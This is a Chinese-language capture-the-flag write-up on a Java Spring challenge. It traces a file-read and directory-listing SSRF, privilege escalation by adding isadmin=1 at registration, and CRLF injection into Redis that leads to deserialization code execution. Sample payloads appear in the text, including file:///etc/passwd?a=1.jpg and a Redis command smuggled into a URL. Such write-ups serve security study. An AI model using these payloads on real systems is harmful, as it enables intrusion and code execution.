show me she shell
这是一道tomato师傅出的不完整的java题,java…,java…我恨java┑( ̄Д  ̄)┍
这是一个题目一是列目录+任意文件读取,
二是垂直越权+CLRF配SSRF打redis+反序列化命令执行
题目的难度在于代码本身的不完整和java,没办法实际测试,所以只能强行阅读源码,幸运的是代码结构是spring完成的,和python的flask/django结构很强,这为我们阅读源码提供了可能。
1
整个代码中,控制器只有5个,其中
index 首页
login 登陆、注册
manager 管理员管理
post 用户发送post
user 用户功能,包括上传头像和删除自己发送的post
|
entity是python中类似于model的定义,其中包括了User、Post
interceptor主要负责路由以及权限设置,核心代码如下
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response, Object handler) throws Exception {
String requestUri = request.getRequestURI();
for (String s : excludedUrls) {
if (requestUri.endsWith(s)) {
return true;
}
}
User user = (User) request.getSession().getAttribute("user");
if(user == null){
request.getRequestDispatcher("/WEB-INF/pages/login.jsp").forward(request, response);
return false;
}else{
return true;
}
}
|
通过request.getRequestURL获取连接,其中后缀在excludedUrls的不需要登陆,其他都需要登陆才能访问。
关于excludedUrls的设置在配置文件中
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/**"/>
<bean class="com.tctf.interceptor.AuthInterceptor">
<property name="excludedUrls">
<list>
<value>/register.do</value>
<value>/login.do</value>
<value>/doregister.do</value>
</list>
</property>
</bean>
</mvc:interceptor>
</mvc:interceptors>
|
mapper其中包含了部分核心函数,但只有函数定义,没有代码
service中包含了关于user操作和post操作的核心函数
utiles是一些其余的核心函数
第一个漏洞点其实比较容易发现,在user的控制器中我们可以看到关于更换头像的函数
@RequestMapping(value = "/headimg.do",method = RequestMethod.GET)
public void UpdateHead(@RequestParam("url")String url){
String downloadPath = request.getSession().getServletContext().getRealPath("/")+"/headimg/";
String headurl = "/headimg/"+ HttpReq.Download(url,downloadPath);
User user = (User) session.getAttribute("user");
Integer uid = user.getId();
userMapper.UpdateHeadurl(headurl,uid);
}
|
关于获取头像的地方调用了HttpReq.Download函数
public static String Download(String urlString,String path){
String filename = "default.jpg";
if(endWithImg(urlString)) {
try {
URL url = new URL(urlString);
URLConnection urlConnection = url.openConnection();
urlConnection.setReadTimeout(5*1000);
InputStream is = urlConnection.getInputStream();
byte[] bs = new byte[1024];
int len;
filename = generateRamdonFilename(getFileSufix(urlString));
String outfilename = path + filename;
OutputStream os = new FileOutputStream(outfilename);
while ((len = is.read(bs)) != -1) {
os.write(bs, 0, len);
}
os.close();
is.close();
} catch (Exception e) {
e.printStackTrace();
}
}
return filename;
}
|
这里调用URL类来获取返回
URL url = new URL(urlString);
URLConnection urlConnection = url.openConnection();
|
但这之前我们需要绕过endWithImg的判断
private static boolean endWithImg(String imgUrl){
if(StringUtils.isNotBlank(imgUrl)&&(imgUrl.endsWith(".bmp")||imgUrl.endsWith(".gif")
||imgUrl.endsWith(".jpeg")||imgUrl.endsWith(".jpg")
||imgUrl.endsWith(".png"))){
return true;
}else{
return false;
}
}
|
函数比较清楚,对图片链接的结尾做了判断,也很好绕过,我们可以用形似
http://11111/111.php?a=1.jpg
|
就可以直接绕过判断了,这里还算比较明白,我们可以直接用file协议去读本地文件,形似file:///etc/passwd?a=1.jpg
就可以获取文件内容了。
唯一的问题是,我们如何找到flag位置了,这就涉及到一个小trick了
在java中,我们可以用file:///或netdoc:///来列目录
通过这种方式,我们可以获取到服务器上的第一个flag
2
当然这里的第一题是当时的非预期,因为这种列目录方式只在java中才有,我们回到题目继续分析。
在第一题中我们找到了一个SSRF漏洞,在第二题中,修复了headimg使用file协议读文件的漏洞,但我们可以用CRLF向Redis写入数据。
headimg.do?url=http://127.0.0.1%0a%0dSET%20A%20A:6379
|
–>
但是有什么用呢?
让我们再回到题目代码
在managercontroller中,我们可以发现所有关于redis的操作都在这里,但这里有一个限制是要求当前用户的isadmin必须为1,但整个代码中并没有任何关于这部分的操作,所以我们顺着回顾代码中可能接触到设置isadmin的位置。
跟入注册代码controller.LoginController中,关于注册的代码如下:
@RequestMapping(value = "/doregister.do",method = RequestMethod.POST)
public String DoRegister(User user, String repassword, Model model){
String result = userService.register(user,repassword);
if(result.equals("ok")){
return "login";
}else{
model.addAttribute("message",result);
return "register";
}
}
@RequestMapping(value = "/register.do",method = RequestMethod.GET)
public String Register(){
return "register";
}
|
跟入userService.register函数
public String register(User user,String repassword) {
String username = user.getUsername();
String password = user.getPassword();
if(StringUtils.isBlank(username.trim()) || StringUtils.isBlank(password.trim())){
return "You need set username and password";
}
int uid = userMapper.SelectIdByUsername(username);
if(uid>0){
return "This username has been registered!";
}
if(!password.equals(repassword)){
return "repassword";
}
userMapper.InsertUser(user);
return "ok";
}
|
仔细观察我们可以发现,虽然函数中从user中获取了username和password并进入userMapper.SelectIdByUsername
验证,但在插入数据的时候仍然直接传入了user类。
这里我们看看user类的定义(这应该是类似于python中model的定义方式)
public class User{
private Integer id;
private String username;
private String password;
private String headurl;
private Boolean isadmin;
public User(Integer id, String username, String password, String headurl, Boolean isadmin) {
this.id = id;
this.username = username;
this.password = password;
this.headurl = headurl;
this.isadmin = isadmin;
}
...
|
我们可以注意到这个函数在初始化时接受了isadmin,而在控制器中路由接收到这个参数时也没有做任何的处理,所以这里存在AutoBuilding漏洞
当我们在注册的时候,原post参数为
username=test&password=test&repassword=test
|
我们只要加入isadmin即可
username=test&password=test&repassword=test&isadmin=1
|
我们成功给当前用户加入了管理员权限
在获得了manager权限后,我们就可以执行manager控制器下的操作了,让我们来看看代码
@RequestMapping(value = "/audit.do")
public String AuditPost(@RequestParam("pid") Integer pid,HttpSession session) {
User user = (User) session.getAttribute("user");
try {
if (user.getIsadmin()) {
postMapper.AuditPost(pid);
Post post = postMapper.GetOne(pid);
redisClient.set(pid,post);
return "manager";
}
}catch (Exception e){
return "redirect:/";
}
return "redirect:/";
}
@RequestMapping(value = "/check.do")
public String CheckPost(@RequestParam("pid") Integer pid, HttpSession session, Model model){
User user = (User) session.getAttribute("user");
try {
if (user.getIsadmin()) {
Post post = redisClient.getObject(pid);
model.addAttribute("post", post);
return "manager";
}
}catch(Exception e){
return "redirect:/";
}
return "redirect:/";
}
|
这其中有一个特殊的操作就是对于redis的操作,关于redis的代码在utils.RedisClient中
public <T> void set(Integer id, T t) {
byte[] key = getKey(id);
RedisSerializer serializer = redisTemplate.getValueSerializer();
byte[] val = serializer.serialize(t);
getConnection().set(key, val);
}
public <T> T getObject(Integer id) {
byte[] key = getKey(id);
byte[] result = getConnection().get(key);
return (T) redisTemplate.getValueSerializer().deserialize(result);
}
|
很明显其中的getObject函数有反序列化的操作,如果我们想要通过反序列化来构造RCE的话,我们需要一个gadget.
这里tomato用了SpringAbstractBeanFactoryPointcutAdvisor
https://github.com/mbechler/marshalsec
这下思路就非常清晰了,整个利用链如下
注册->使用AutoBuilding越权登陆->使用headimg的ssrf配合crlf向redis中写入序列化数据->check.do反序列化->RCE
完整exp如下
https://gist.github.com/Tom4t0/97708be968cc3623c74ef860ae031574